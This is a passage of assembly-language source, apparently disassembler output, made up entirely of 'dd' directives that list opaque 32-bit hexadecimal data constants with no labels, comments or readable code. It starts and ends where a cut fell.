2783A473h, 0F8714B34h dd 3549F282h, 0F11CC17Ch, 9FD00DA8h, 0CEA0F872h, 0A00D487Eh dd 1CF1291Bh, 0EFD50807h, 0B84B6CA8h, 2F80ACB6h, 18F593C3h dd 2C4AB4B8h, 1055E688h, 68AD05C5h, 0EB4540FBh, 57201FDEh dd 2FA87A4Ch, 11B32935h, 6CE9EAC0h, 0B32FD9BAh, 59D0F018h dd 5701FFFFh, 45466850h, 66E1DB8Ah, 52886F37h, 0CC6EF50Eh dd 9801C3D8h, 685EF22Dh, 0A62A7E8Eh, 4A64016Ch, 41494E75h dd 0D1C9D861h, 189C9340h, 225A904Dh, 542D40E6h, 50F5765Bh dd 24107E9h, 0FEDA50AFh, 43B32D04h, 0C4EF3EDAh, 59070790h dd 0C97DD468h, 0B2B91124h, 66D3C016h, 25E75A4Ch, 168FD36Bh dd 7A00FF2Bh, 0C968C3EEh, 7EA4A665h, 0E5C001B5h, 0BFED8006h dd 0F5A9CFD0h, 59EEC026h, 14A158B5h, 0EF9F6EE9h, 84431292h dd 0CCE1BE50h, 80641C20h, 1C177768h, 0C9A858CBh, 0D1283131h dd 0AD0DCE3h, 3126E6BFh, 0FDCB2654h, 0E5272C0Fh, 0D2094C84h dd 2AFEE6AFh, 0FCD4DA68h, 0A82754C7h, 294297CBh, 2B02C38Bh dd 0AB8165BCh, 0F7F53F4Fh, 90E92209h, 80B7D122h, 19950B83h dd 8D00F681h, 5217436Dh, 0E86F89BAh, 0D609267Fh, 38E60782h dd 0E969734Dh, 0F844CEDAh, 0DD03140Bh, 0D5F50208h, 542E902Fh dd 665D2530h, 0A72715F2h, 0BE7990B7h, 8E4209C1h, 915D210Dh dd 9965C901h, 47DE633Bh, 585F05ACh, 4E640A07h, 2E457509h dd 5462E3Fh, 40D67B4Ch, 0F44C8060h, 58E51D29h, 0E59C58Eh dd 0F3FE72EBh, 0C8352A9Bh, 0C8255176h, 2F4F722Ah, 0B159E7D2h dd 5756948Bh, 68704C1Ch, 1699024Eh, 0A5AEA92Bh, 3AB12DFBh dd 0CF5E5BA8h, 38FF4F3Fh, 4E27E904h, 1334EE8h, 0D55C2805h dd 7F2AE94Fh, 0DB80E552h, 119A0F33h, 9044017Bh, 57582F0Ch dd 2F94949Eh, 50465314h, 1D60B27Ch, 154AEA61h, 0EDC1E627h dd 5D59A06Ah, 0F7A02E27h, 4B264208h, 0FF679805h, 6882C3F3h dd 4FD93255h, 2D83EE88h, 7640B05Ch, 0E35BD86Dh, 0D434B36Ah dd 66762DA7h, 2A7827B0h, 10CB3776h, 9FF15D14h, 43B0A6EEh dd 0E684DC2Fh, 8023B34Eh, 44A2B850h, 4BD4360h, 7DC007EEh dd 9086C08Dh, 8B7BB56Dh, 58C52904h, 7FE33082h, 4FD5C209h dd 0B975A790h, 0FDEA8B98h, 4E503B59h, 0BA64B73Bh, 0D3250579h dd 0E398A031h, 4ED9DF6Fh, 0E634BA29h, 0C231D790h, 0DA62FE9h dd 0CABFE3E6h, 0ED864BD4h, 0B1CC9E4Eh, 0EF05D017h, 0EF79A50h dd 57370D17h, 5F5750Bh, 0C5EE2DE2h, 0C580FE6Eh, 9D95561h dd 0E4A1E96Bh, 273D15Fh, 4D797FA2h, 0E3251C70h, 8BEAC469h dd 5D0EBCFh, 0EFC15F0Bh, 60A30108h, 31FF4B67h, 0E1B1155Dh dd 0A2DDE038h, 0CBAE7197h, 8631EAD8h, 7EEF21F9h, 9C473CE0h dd 6CB02D97h, 0BC175ADCh, 89008138h, 0E976654Bh, 0A7594F88h dd 7DE94FC2h, 4A0D3210h, 0E87AB8DDh, 7046A297h, 0FAB84E75h dd 7C1AE914h, 0AFF72E2Ch, 794E6885h, 0E601CF8Dh, 0EE473B63h dd 0BCEE80D9h, 0B61B3E40h, 70670644h, 0EE021A38h, 0FDD2D3D8h dd 90027F89h, 550B66F0h, 6253F080h, 128284Eh, 6D1CC2D1h dd 0E9856B0Bh, 7A913889h, 663302B5h, 39762660h, 81095410h dd 73564CBh, 0E3704373h, 0C337B51h, 0E0D8E977h, 0EE06BD40h dd 3141783Dh, 133C27D6h, 0F95A9D6Ah, 88685D02h, 681B4E02h dd 0F254A546h, 0CB292C6Eh, 79D11F58h, 7A116FCCh, 28C45FDDh dd 5F8C0600h, 54E97FE2h, 58C0CCCAh, 0F205FDEAh, 82D72864h dd 2D0042CAh, 0B61F367Ch, 56510020h, 4C5B2E68h, 0A85E6928h dd 0DB583B16h, 9CA41106h, 5A04384Eh, 0C3085FF8h, 75F150CFh dd 96442AF8h, 0EA13E740h, 5C0F6891h, 93668B2Eh, 0C4ACCCBAh dd 21B68C92h, 0F82F0551h, 6E6809EAh, 82ABA247h, 0D0F70442h dd 0B4C5C493h, 0D6294F1Fh, 7A74E7CBh, 3EFB0992h, 130E77DFh dd 19DE0300h, 0EAA0CE01h, 0BD0367EFh, 0F7EB872Dh, 0D30909D5h dd 0EEF88CE9h, 581ADEBFh, 0F360BCE9h, 0B3E23520h, 0D1E31351h dd 48D04E8h, 8D258353h, 0F9DD19FFh, 401A622Eh, 560CB955h dd 0AA371570h, 48CF5AEh, 0F61743DAh, 4284D1B8h, 68C3EEF8h dd 53136046h, 0C7D82F29h, 0A43A5F42h, 5F69A588h, 4722480Dh dd 4135B443h, 4166C331h, 49A56FFDh, 0E4AC7E9Dh, 82675E2Dh dd 67C8DD25h, 304CFE68h, 4FEED135h, 9335FFA4h, 16923CE3h dd 7898891Ah, 5005C0F4h, 0BA115C39h, 9868165Ch, 2D3BCC42h dd 3CFE7112h, 0D61794F2h, 8E19E437h, 7A1F6E78h, 5956DD29h dd 0BE098FF0h, 3EEF0167h, 31303765h, 5DB512F1h, 6CC982D5h dd 0D72AEA46h, 335EA86Ah dd 0A21F8C2h, 856D087Bh, 77C98100h, 0C14E0152h, 0D63DD90Ch dd 49732036h, 69466102h, 0F2D4F6E9h, 55450B7Bh, 40570E8Ch dd 262FF507h, 0A77CD8h, 6AF662A8h, 0B36003E9h, 4B46EB61h dd 101E4C02h, 0A362C000h, 364CE974h, 3E7C1A8h, 5027FAC3h dd 0DF29D90Fh, 0EF63983Fh, 0F145D912h, 2DBE4A13h, 0EC3461DBh dd 0DE9F5A02h, 0FD8C85Bh, 9E10DD0h, 7857E168h, 1D8AC5B4h dd 0DB253F87h, 2DC7DE1h, 67C4BF0Ah, 0A6151D4Fh, 7DBB5E9Fh dd 1245287Eh, 0B7AAFCCFh, 0C1AD07Dh, 251494E9h, 395100C3h dd 0DF319EFEh, 0F950215Bh, 336775D8h, 79634922h, 0EA2F024Ah dd 73BE3935h, 541B061h, 67E044AAh, 3271EB74h, 0EA3B58C7h dd 0B6C34F3Ch, 0D2712CA6h, 3F368F61h, 807E5089h, 61121F06h dd 3520494Eh, 24553DE1h, 1C16C32h, 60121539h, 7BF03101h dd 0E9E02DE8h, 94BDD0C8h, 0E26E240Fh, 43645Ah, 34F4805Ah dd 4BDEF452h, 0C566EC4Ah, 70D448D9h, 0F4A799AEh, 1BC25835h dd 89895AD3h, 0FCC880AFh, 0B032B44Eh, 18DB09BAh, 74DE0166h dd 0DF0B9F0Bh, 38F1DB19h, 4F1E591Eh, 0D2311B8Dh, 0F7C699F9h dd 3EC97D1Bh, 0D4C665C3h, 3C00DE74h, 81EFD15Fh, 0EA584FCFh dd 0FCD5A320h, 53380500h, 9408D40h, 17E70C81h, 0B9061451h dd 9BE09409h, 0F02500E2h, 273F6026h, 46890DE9h, 955EAFD4h dd 0A4D6791Ah, 0FD42F8C2h, 0F02992B8h, 9689C5B7h, 0AC6325FEh dd 2EBA5AF8h, 0C3554ACFh, 0FCA25A48h, 0E9D404D2h, 2FCBE128h dd 4808F0D2h, 7B89F12Eh, 34424805h, 8015B504h, 6B57C009h dd 0F85B7FEBh, 0A2685F02h, 94DA661Bh, 56F02E5h, 0E9227D99h dd 83BC6891h, 0A7FEB4C0h, 0FCC9FED3h, 6A0E8BDAh, 0D38997D1h dd 9416DD12h, 9041B398h, 7FEBA17Ah, 0E4D85DA3h, 0E24E6806h dd 2C25E9BDh, 137BED77h, 0CA29BF5Dh, 965DB67Eh, 680828EEh dd 61A97DEEh, 0CEB24257h, 0EA2425FBh, 0D77DCC06h, 38C505AEh dd 0E033E161h, 36583DBAh, 67151044h, 927F7950h, 0BCBA2622h dd 0FBCE16F4h, 27FE82C6h, 87FE4481h, 0FC270868h, 48E98497h dd 979991A3h, 11313A5Fh, 0FA2A524Eh, 0E3E4FD67h, 710B5780h dd 46600548h, 0A92D81E9h, 0EB08D2EBh, 915B12A1h, 13991DFh dd 0A2E43B05h, 9B29025h, 69713886h, 2383A2Ah, 627C5379h dd 6B2C8E74h, 5D1C4709h, 0E91AE146h, 0F6606F3Bh, 4B4582DAh dd 0CD806C6Dh, 4DC4E901h, 0F75B6EC2h, 0D721E0D0h, 5132C95Ch dd 1A0B84F8h, 4B0E82h, 45E36F99h, 227095E1h, 3F38D4F3h dd 2690158h, 7DD509C1h, 0DBB1430Dh, 2952982Fh, 81BF90CEh dd 0D03E5908h, 7D0797E4h, 0F2893C12h, 5BB738FAh, 7FC05302h dd 7542D2F7h, 8A829C45h, 57022651h, 0D011B5Eh, 194A1C80h dd 2809F1D4h, 5F823CD2h, 9E84ADA2h, 68AB8289h, 1D3613D5h dd 8729408Ah, 100DBA52h, 0EAD1116Eh, 6E2C118h, 270E728Eh dd 4D8B495Eh, 1B928104h, 0E5478832h, 31CC741h, 102CF24Ah dd 8967BA57h, 0EA4DD55h, 0BF08AB29h, 576613ACh, 0DDDC104h dd 0C75C0006h, 2AFCBD03h, 0B4ABE978h, 0BEB80174h, 823C5403h dd 0A15E5270h, 59596013h, 0CEE91853h, 0F9C5EF62h, 0E14E17E2h dd 0FF5A6DF8h, 0E4D0B62Ch, 6808C3C2h, 6F104D6Dh, 0BE022B69h dd 52C272A9h, 51E6CEE0h, 445E8590h, 70C65CB4h, 5A909ACDh dd 278AB1BDh, 68530454h, 9ABB0F3Ch, 68EF4ADFh, 0F32768C4h dd 67ED9841h, 0CF2980C4h, 366BB7EEh, 0C1500135h, 47E788Eh dd 0A30FD07Fh, 44280079h, 18BD0316h, 2E422514h, 1498C7D5h dd 4D8BC4C5h, 0BA164DF6h, 0DEF36BD0h, 42A43DCCh, 0E3955896h dd 0CE3D4EEDh, 9D1DD930h, 5B8A9FD9h, 88A26A78h, 0A4037E13h dd 0A0EA08B0h, 2FE95E07h, 6ADC5492h, 340044CAh, 811C0873h dd 45D214F2h, 0CA3AD1D4h, 239B498Ch, 4B901846h, 0E2D14719h dd 0D0007B0h, 80932F4h, 76E88336h, 6F8BB9A5h, 12700C92h dd 5B603920h, 0FB50945Ch, 2C5AFB2h, 2AEEDCCh, 34C7549Ch dd 20D05C29h, 7DE92F08h, 4C270654h, 0F25B9705h, 7DA7C01Fh dd 7934FE5h, 0CFEB2284h, 0E943610Ah, 0DC34131Dh, 8C705B32h dd 7A409BD1h, 23479058h, 0DF4B6C5Eh, 0C7D3658Ch, 0FCB8110Fh dd 6517657Eh, 79E08CAAh, 75905149h, 440AF56Fh, 9079268h dd 0FB276D7h, 25404C97h, 0B5790D80h, 20C0B588h, 0A55B5B9Ah dd 5AC2E31h, 3F6737F1h, 48105AA6h, 0DBF7139Ah, 97ABA81h dd 0AFCB5592h, 0F9BEAB24h, 2A888785h, 0AEE922A0h, 0A31D6A6h dd 0E2F831F9h, 6CDF0C68h, 160D16E8h, 0C3C10B12h, 68448BF6h dd 5E584EA8h, 9E575CF2h, 38C2011h, 0CB4FF4B5h, 33CF40DDh dd 13B39270h, 0ABD7F7F9h, 0A84E3DB2h, 0E91A6165h, 77F21F85h dd 36629B7Ch, 79D8C670h, 0FE5B54h, 71F2BDDCh, 2EF46BF3h dd 98A03EBEh, 5CB88A2Fh, 0BB516526h, 6B0990A7h, 0D8705C46h dd 0C25FDC95h, 0C7DFC8F3h, 685C0209h, 0FBFE1D79h, 76FF4366h dd 0D48F2F50h, 52960071h, 0ED86808h, 61E55854h, 0DA8EBA27h dd 0D875BF5Bh, 57DABB09h, 24073C59h, 61AB4EE3h, 983A5353h dd 1718F7E3h, 0AC2A4085h, 6028E278h, 712D0E4Fh, 19B8DE88h dd 5FB1AA4Ah, 30757C6Fh, 0D042565Bh, 0AA06A168h, 0F50CC27Bh dd 418B2B77h, 0DE823B66h, 0BA89EB34h, 0F2BCC1CAh, 0BC07DD62h dd 0B21B8630h, 0A255E50Ah, 0F72262FCh, 0BFD597A5h, 973C1BF0h dd 0BF608829h, 4F2E3DC0h, 4A100615h, 8C08AE4Bh, 0AA8E62C8h dd 37BE9BDEh, 0DDC97B90h, 2B5E40E1h, 14897DB9h, 6F616DE4h dd 0DFC380F3h, 0EBD5E3C1h, 6B0620D7h, 0BA8D8E5Bh, 3F48F56Eh dd 5122F091h, 409A6800h, 0B072B794h, 0C0102034h, 1A19BBE5h dd 0E1F63EC4h, 1B90C6Bh, 35364067h, 0C8A02E31h, 0A1918108h dd 40B9228h, 0FD045951h, 41F28D79h, 2A4C743Dh, 0AE4169CAh dd 0EF4EB578h, 0E91289DBh, 5BAFFCADh, 3DB952ACh, 0CBF018A8h dd 4574336h, 0A36618BFh, 0C08F813Dh, 430405DBh, 4917519Ch dd 79A45BA4h, 0FF8CC564h, 4E48DD81h, 0BDCA96F4h, 7A139420h dd 0F6EC2B10h, 8648FB02h, 57F701DEh, 2D6089D6h, 12F86BD9h dd 0E9C82928h, 0A0078F06h, 0F74A0A30h, 0CFD2E4DAh, 0E0260DD2h dd 0BD20A64Bh, 38E3984Ch, 0BBA66EC3h, 7693083Ch, 0ED014D1Fh dd 0F203FA14h, 0D2AFE13Bh, 0C3290AC8h, 0B92DF390h, 0BE8C53Ch dd 0E9DCFDF1h, 4440C480h, 17D2BE05h, 0BC86430Eh, 4CFC1797h dd 829DC7A3h, 480E0CE3h, 0FCE6EE82h, 4F4723D7h, 0F8019965h dd 3AEB0F06h, 0FC5A23ACh, 9B10566h, 0F801033h, 38682457h dd 0FE5E6F5Dh, 5F845B2Ch, 1064A630h, 6808E0BFh, 353D26D2h dd 0BBFC8557h, 0AC4401D6h, 4060DA5Eh, 7C6FD4D3h, 4724548h dd 1AB84223h, 0C32BD0EEh, 0FA7CAD52h, 4ADE292Dh, 81F05D64h dd 0B5696367h, 80CDFEC1h, 0B668F0h, 59EE3042h, 2C5AF008h dd 0E8C0ED01h, 0E9443402h, 0AE2F62D5h, 0C6B2DD67h, 0B06644Fh dd 0B297ED0Ah, 0D5712E06h, 3951420Fh, 0BFA5E425h, 8016500Bh dd 2B07C5BFh, 0DE0E95E8h, 0D6EE011Dh, 0F1A58440h, 3BCDFC12h dd 0F4F7E4A8h, 6F821624h, 0D362AD17h, 0EDD25752h, 0E42D6290h dd 446C7132h, 0FFD1020Ch, 22CC55FEh, 0A22F6825h, 0D7446600h dd 0DE2DF345h, 9168CB24h, 9DC93932h, 0A9ABDFC5h, 9DFA64CBh dd 54D87C57h, 314EF7A0h, 0E903B705h, 0B920E616h, 6FB02083h dd 0A81C7241h, 0AC7E9F08h, 5C780540h, 84405E86h, 880704DDh dd 0D475F210h, 4694104Ah dd 79CAEF4Ah, 3014EF10h, 7E4D6653h, 0E35F283h, 348C59E6h dd 846337A0h, 7B2FE946h, 0E95F540Dh, 0AF0F9F05h, 43557A9Ch dd 0F0FD4FBDh, 0AB98FAD3h, 0A1F360CAh, 0E02A82BFh, 0CF811400h dd 2B0403D5h, 3C162E68h, 0C18BC226h, 300BC059h, 0C76E84C3h dd 1EEB45F4h, 0C862C23Eh, 0DE2FA8B6h, 3D6809DCh, 793CCB10h dd 1EE3C080h, 8BD3F603h, 6E5F1BEDh, 0C39428ACh, 3A5D0C2Dh dd 15E21F60h, 40DF2B19h, 0CDFCC12Eh, 706ABD47h, 2A5D0806h dd 0AC1B050Ch, 12034264h, 0AF3A7A22h, 9A24AA4h, 31694520h dd 8D558803h, 7FED852Dh, 0C75E1807h, 6D9F9F4Bh, 5CD81156h dd 0C10D28E9h, 0EF5ABF20h, 7FCD0124h, 72BF8812h, 0A5C1D89Ch dd 0E11E14EAh, 57996B44h, 0CD0EC681h, 84551A92h, 5CDEC35h dd 4BE40261h, 2CC81EC7h, 0B0B601E1h, 0F009E680h, 7397255Fh dd 0E3ADBD4Bh, 0EF73A976h, 0ADABADF4h, 0C83BC28Ch, 0FD95C09Ch dd 0E638CBFEh, 5411C977h, 96602C41h, 1749317Fh, 0D4E32B4Eh dd 7602B42Fh, 0D5D69468h, 0C418B860h, 0E18E50E7h, 37690EF7h dd 41D02978h, 53163F08h, 90058E0Bh, 3D0B6F43h, 37907E45h dd 0C1BE0174h, 31789F69h, 0D0A1A96Fh, 11F5289Ch, 0BB685B1Eh dd 825FDB1h, 0AE3FB939h, 80103B96h, 0F1755D4Ch, 6EE9060Bh dd 559431FDh, 0A2108569h, 562D007Dh, 57E201Fh, 54821662h dd 96BFC83h, 8413A53Eh, 4080532Ah, 0E24C3D7Ah, 0F8F35F89h dd 71709853h, 0B11E3B99h, 6360057Bh, 0D4016BDCh, 5B0804A9h dd 83E3FA58h, 5FC27C89h, 0C2220684h, 3AF5BC68h, 0D690DFD7h dd 0AF83AC6Fh, 0DEBFF00Ah, 567076EEh, 0A2806141h, 6F89402Ch dd 969E4968h, 6C2EBE60h, 0BC734EA8h, 0BC680BDBh, 2068660Bh dd 0BA3C1157h, 21601350h, 0AF5CA00h, 17051F93h, 0FC9A622Ch dd 72D28D3h, 0FB85A4Ch, 0A8475D37h, 0C10F37F8h, 6BF32F45h dd 3AB3AC0h, 9259B56Bh, 0F44FCD02h, 0B3974005h, 0A48827A2h dd 6AC2A042h, 5874274h, 7FB50B69h, 892DC0C2h, 0D1DA0307h dd 0E0F760F1h, 191A5AD3h, 6355828h, 1595F17h, 5C82A418h dd 6B462525h, 102050D2h, 0E289270Ch, 7E8A6E7Fh, 611660E9h dd 122735C5h, 970C4960h, 2673A1AEh, 0AD38ECE9h, 0FECD1AF7h dd 0A739081Fh, 0C2685802h, 0F819DD51h, 0CC172EE1h, 5E6B1A42h dd 0F4C077FEh, 0AA5C648Fh, 4BCA0A11h, 18338813h, 0DFFD88DBh dd 842B5BE9h, 74B2FBBBh, 110B8B0h, 8302A50Eh, 0B035A3E8h dd 5047D93Bh, 19B0907Fh, 5A26570Eh, 24266851h, 78EA018Dh dd 69BAAC3Eh, 0C662F50Ch, 7E10DA77h, 4666B441h, 0DD0484B5h dd 8EED805Bh, 0B0EAA8EAh, 0B808E7C0h, 103BB29Fh, 7A34DA68h dd 0DDE2D433h, 0B003FEEBh, 0AA0850F2h, 9DBEBADAh, 55E9B57Ch dd 90C9F033h, 0ED498E27h, 7E1A3F74h, 0A286C3B5h, 0CEFDA55Eh dd 81E84CE1h, 5CD92F4h, 4131EB68h, 0EEB5E14h, 0AE124C5Bh dd 0E98478F3h, 0B971D0A7h, 3D091AC4h, 80D1F758h, 860E2D25h dd 0F131207Eh, 7679E948h, 18772E05h, 0CBA90908h, 0D029E985h dd 0B25DB445h, 0E228B103h, 0B0515358h, 0E0ACB3B7h, 205902CBh dd 0CAFE5BDAh, 0A007E37Dh, 76EAC0F4h, 0FBF20C07h, 72ECD730h dd 4DBA00FBh, 0B52E705Bh, 2F8EA482h, 564CFF46h, 3EE007DAh dd 0DEA43270h, 0D1CB56ACh, 0E10E2B04h, 0EFAD6B32h, 68B2BE93h dd 9C852E85h, 0D97C29A4h, 9DBFBC20h, 8C3902DCh, 0FA581E32h dd 2B5B68Ch, 3084B050h, 3650A7D5h, 232DFE2h, 5155595Ah dd 125E6A01h, 0B9F7FB4Ch, 0D1A12D7Bh, 0E2F99330h, 25BB7882h dd 44DDB212h, 973FEE27h, 0B5F4764Ch, 6765365Eh, 0C248F2BEh dd 0DC179768h, 607F609Ah, 507E316Dh, 0D910AB12h, 0C9251001h dd 607C9655h, 60D0413h, 1137F296h, 0CF8F3500h, 25E97D75h dd 416DB614h, 334F1E68h, 974827h, 7CB532E6h, 45F95BFh dd 91E956CBh, 0EC74BABDh, 0EF5BFEEDh, 0F75BBC2Ah, 0C0BD93CCh dd 0D08B5F9Ah, 58439B77h, 2520B71Fh, 3042B803h, 0C848349Ch dd 7F703CE2h, 49890074h, 9352433h, 5F3B3A2Fh, 6A1FF02Dh dd 0D7D5E915h, 696882C7h, 6722F502h, 86F2FEFAh, 80ECB500h dd 535012F5h, 3AEB7288h, 0E6A75BDCh, 1E60B69Ah, 0F595849Fh dd 7FC3C16h, 0B905CDBAh, 79D66857h, 54E512BFh, 0CD202835h dd 4045582Fh, 4CF21AFDh, 0EF070D4Bh, 698DE95Dh, 0D0553029h dd 752E09D9h, 58CB03DEh, 1FE7F198h, 0B2F0AB5Bh, 4BC7072Dh dd 890153ECh, 4081D88h, 9447CEE9h, 0C2C982A1h, 60B59944h dd 2A74096h, 0D3015D64h, 0B04B85E9h, 7C1CE2F0h, 426F0D0Ch dd 78D72C4Ah, 0C4064A8Fh, 0C00BE280h, 7594FF5h, 58550116h dd 0CD6FBF5Dh, 7BE34110h, 58AE04BDh, 0B8BA413h, 7957C139h dd 0E8E0054Eh, 0CAF951ACh, 9D5AC3Ah, 55CA6F8Bh, 70D677F0h dd 0E98752A7h, 0EFC52C28h, 93753E0Fh, 0F6016629h, 5400216h dd 997AA86Fh, 7B2F7DE1h, 0D1024DC9h, 98F6C303h, 3D1A5D36h dd 0F218EDD1h, 2C683C50h, 403D32B7h, 4C04FD6Ah, 9D204E50h dd 0B9595800h, 4C1B5543h, 9278BD31h, 4EB3445Fh, 78BA5202h dd 774B4Fh, 0BF172B61h, 8BF79D40h, 0B567C67Bh, 3407504Bh dd 420A66A3h, 5EE929ACh, 88950780h, 0F658E0C6h, 0B43E50D6h dd 0A5C48703h, 6ABEE628h, 0C74F2AF3h, 0C3E516EBh, 0E78E37D1h dd 30F40104h, 820B1714h, 0F744030Ch, 831E4411h, 140C4008h dd 9F089087h, 0D65704E0h, 35C5355Ah, 0A4A4080Eh, 0A5FB5622h dd 0C06E88D5h, 0C3511DDFh, 0E2D07CB2h, 44B569D9h, 4958EE42h dd 1642D68h, 0CA291E76h, 6F192268h, 5DB5CC5Ah, 7ED1A60h dd 0A409ABB0h, 0DFFE2824h, 0C5F4921Ch, 0EC2592BEh, 0A23425D6h dd 1CDEEFDFh, 0DD22D2E9h, 2BB2EA2h, 0FEF74FC9h, 0EB75117Fh dd 0C41031E8h, 0FA515C46h, 0EA4FA7A3h, 4C0CFF58h, 4E79972Ah dd 46EF870Fh, 5A1403EEh, 57E3D221h, 0A2FCE47Dh, 715E557Eh dd 0C229FC2Dh, 0F77A4EE9h, 0ED017F96h, 134722D9h, 1646E5D8h dd 1363A21h, 0E23B4D8h, 52B304Bh, 99F96BBDh, 29DD6E1Ch dd 0C76AC571h, 28CEC02Ah, 6D4A7E0Bh, 9307D7C5h, 425B8449h dd 0A35C4133h, 6F985CEEh, 5D30CC25h, 68C30281h, 0F5D15981h dd 9650D82Fh, 32797AB5h, 68C58881h, 8E63107Eh, 51EE1F7Ah dd 0BF49350h, 8375E7D8h, 0F25258A7h, 0C2A7DDCAh, 0BF29AC3h dd 9CDEEA74h, 0C8717D52h, 0BDBF5770h, 0F027D7F4h, 8ED9611h dd 503C161Ah, 4F1287A9h, 52EA2666h, 7F0FB32h, 0A20B171Eh dd 8863454Bh, 8B50E832h, 3817359h, 72F1E9C8h, 5F4A227Eh dd 59A192D8h, 0FD2F3805h, 0BB07A040h, 2E9B1A48h, 0DC250008h dd 0E8FF2580h, 0EECD2138h, 41BB5BF8h, 927747F9h, 59CAF412h dd 0C199AEB7h, 46840D27h, 3055BB20h, 0C7188AFAh, 482D6B93h dd 46087563h, 15A0E08h, 78E53EAh, 6C4016F4h, 8164130h dd 6023E57Ah, 0B538A8F3h, 0D33EC176h, 804CD67Ch, 5D45140Ch dd 0D0DF012Fh, 0C68083Ah, 67E90414h, 94F999h, 0CF301EF1h dd 5F885059h, 0D36681FCh, 2D7039F6h, 8F0F5DC6h, 3A636F86h dd 2712BA7Fh, 5BD3F5Eh, 2BABA04Bh, 4D554F12h, 0AB3FC8BDh dd 29802DF5h, 0DF279FD3h, 0D80F0522h, 195064CAh, 505C5E58h dd 0E132E90h, 90874FB7h, 0FCFA609Eh, 1351017Fh, 0E72AA7E9h dd 114F7B23h, 27B1C980h, 0AAC93980h, 203FC18Dh, 7C7528E2h dd 6837EF09h, 0E0987F47h, 31FBE6B1h, 69BC7A6h, 6663831h dd 3EB008A4h, 0FE887338h dd 7CA95B4Eh, 4E9C3F16h, 0EC561965h, 245BA647h, 94388DDh dd 0E832F6C2h, 0DD22937Fh, 81CA35FFh, 80C9AE33h, 0E6F6B92Ah dd 5831CA56h, 0E55CE8CBh, 7A74C94Fh, 0ED8400E6h, 0F0280B0Dh dd 0AE117C87h, 0B0559F40h, 9F08F91Eh, 44F2D149h, 72A8AADBh dd 60FA3AB9h, 644C8185h, 0E8E5324Eh, 0D8EEE27Ah, 4E39687Fh dd 62CA310Bh, 0DE01014Ah, 95B92C3Ah, 6DDD444Ah, 18D81B38h dd 0F6090B8Fh, 8FB0151h, 0E90408D4h, 33D0F03Dh, 2550EF2Dh dd 2ADC3BF8h, 0D71DE789h, 0DF17E1Eh, 506A2C97h, 147187AFh dd 0DF5CAC57h, 90316F17h, 0F362E62Bh, 0E4B1085Ah, 3460AD31h dd 60919F8Eh, 2B96F981h, 0E228C8B1h, 8938AB4Fh, 4C013B66h dd 187F02A5h, 0BF1DE9E8h, 0D520E47Ch, 0DF95FD9Dh, 0DEA0AE0Bh dd 53C0820Ch, 1D434FD1h, 6619130Bh, 71A7027Fh, 0BEC85942h dd 0A980E2A0h, 703D0B72h, 0F81E9230h, 18201388h, 0E586066h dd 22097A05h, 88F72936h, 1C300844h, 972A5A8Fh, 0C36018D9h dd 0A2F34DE9h, 0B64B82AFh, 4518FF51h, 0F8B172F0h, 3FB4BC12h dd 1F400BBEh, 0E4568054h, 8FB00916h, 7059E0h, 4E6C10Bh dd 13EE44FDh, 0EC743868h, 1F5CC06Fh, 8029732Bh, 3CD41768h dd 0AEDE579h, 749A6D2h, 337644EEh, 0D9C2EAE5h, 41DE4AF8h dd 0E46A134Dh, 290EC188h, 7659C828h, 0F3B405EEh, 5344EA6Eh dd 87072BA1h, 0E0F72BDAh, 0B0F0E731h, 981E4AECh, 859D4954h dd 6FC75D23h, 0B907D4D4h, 27582BAh, 191A57DEh, 35368A55h dd 965C5A25h, 0A53F971Ch, 0ADB96B3Ch, 7208B23Fh, 25024A48h dd 587A7927h, 0F1C25A73h, 47642B66h, 15D690ABh, 391EC366h dd 3D2E95Bh, 0E457A4h, 0C16A2D0Bh, 0D0F707E0h, 424804CFh dd 436F90BAh, 57731Dh, 6D761935h, 718F0D68h, 0C828EB32h dd 0EED65278h, 0EFC7613Eh, 7BA0A2FDh, 5460A1A1h, 0DEE388E5h dd 6C887012h, 0FD307427h, 1211DC02h, 0FC695568h, 5007C467h dd 6E419FE2h, 559C822Fh, 0B312360h, 49CF7197h, 0BE414885h dd 8BEFB525h, 88BF4EA2h, 0F148DA92h, 0D5607573h, 897B30Bh dd 356658D9h, 8899C11Fh, 399FC5BDh, 5597F420h, 0BD6A5189h dd 6DF31913h, 0C06E4018h, 3754945h, 0DE89782Eh, 0EB36BD07h dd 0D0AB2254h, 4461F55Fh, 0EC87F04Bh, 7533241h, 93F82Fh dd 0F82984EDh, 4BA9E94Eh, 0DCF491BEh, 0ACBF0417h, 1EC4E82h dd 0FB9DE216h, 552C08CBh, 1FD8020Ah, 11E84378h, 1E1766EAh dd 9801305Dh, 7BAA4454h, 0C5D1188Eh, 0D57403D6h, 888D76E9h dd 1BB75B07h, 68F7094Bh, 45F937E4h, 3C31CD88h, 0AA54EE2Dh dd 5B4C158h, 0E96D9367h, 3A54A18Ch, 4E5C539Ch, 9E20AE77h dd 95402F1h, 33AC680Fh, 0E4501619h, 7E4C0815h, 2F3C1385h dd 20D8CDBBh, 500B94Ch, 0E6817E90h, 143530ABh, 0ABD6F76Bh dd 3347791Bh, 4B7868F0h, 778E999Fh, 9028EED0h, 73F1BD5Ah dd 0F720299Ah, 0D16E22A0h, 2E27E970h, 51D0998Fh, 36E1E12Eh dd 59E98309h, 0FD0A5E2Ch, 5DE79EC6h, 0E91E14E5h, 898ED6E5h dd 4074FD7h, 1A754B67h, 2F697FBDh, 0C17EDE9Fh, 2AF2296Fh dd 6616560Eh, 0C7B426F9h, 0FB369569h, 7F4BC937h, 0F0406DE8h dd 0BD4F0DB2h, 0EA26EEB2h, 7268067Ch, 0F825DD56h, 952944Ch dd 501DBF2h, 23C29F80h, 7F27FD85h, 0E9BC0109h, 37805D17h dd 144A9DEAh, 0D49D2933h, 91F8CBE4h, 644E8800h, 19102D7Eh dd 134351CEh, 0F9BF0460h, 5EB385C3h, 0AD68AF2Fh, 551744F7h dd 13E01080h, 0DEDE9757h, 6B495ECFh, 88257170h, 0BF1DBB81h dd 0F9D62DF7h, 13E3F23Eh, 0FA717679h, 128BF705h, 65BBDF65h dd 0F430EA1Bh, 10D6793h, 0B7E9814Ch, 0D4F66A44h, 9FA565FDh dd 0C8C65817h, 3B51BDA1h, 0FBB07FC9h, 0AFF532FFh, 568A7F28h dd 5B12190Eh, 411062EBh, 0B814FC26h, 0F680EEB2h, 2981EF4Ah dd 0AFE545D2h, 0E970D356h, 0BEFDD472h, 0C91DAB04h, 0F912EE6Eh dd 3DA39104h, 93AAB3EFh, 0BA4B28F8h, 0B0522DDCh, 396D0B5Bh dd 44016F0Ch, 60361E6Eh, 6C30260h, 0B14B2503h, 64600516h dd 0DFF41686h, 6510BADAh, 5B012AD0h, 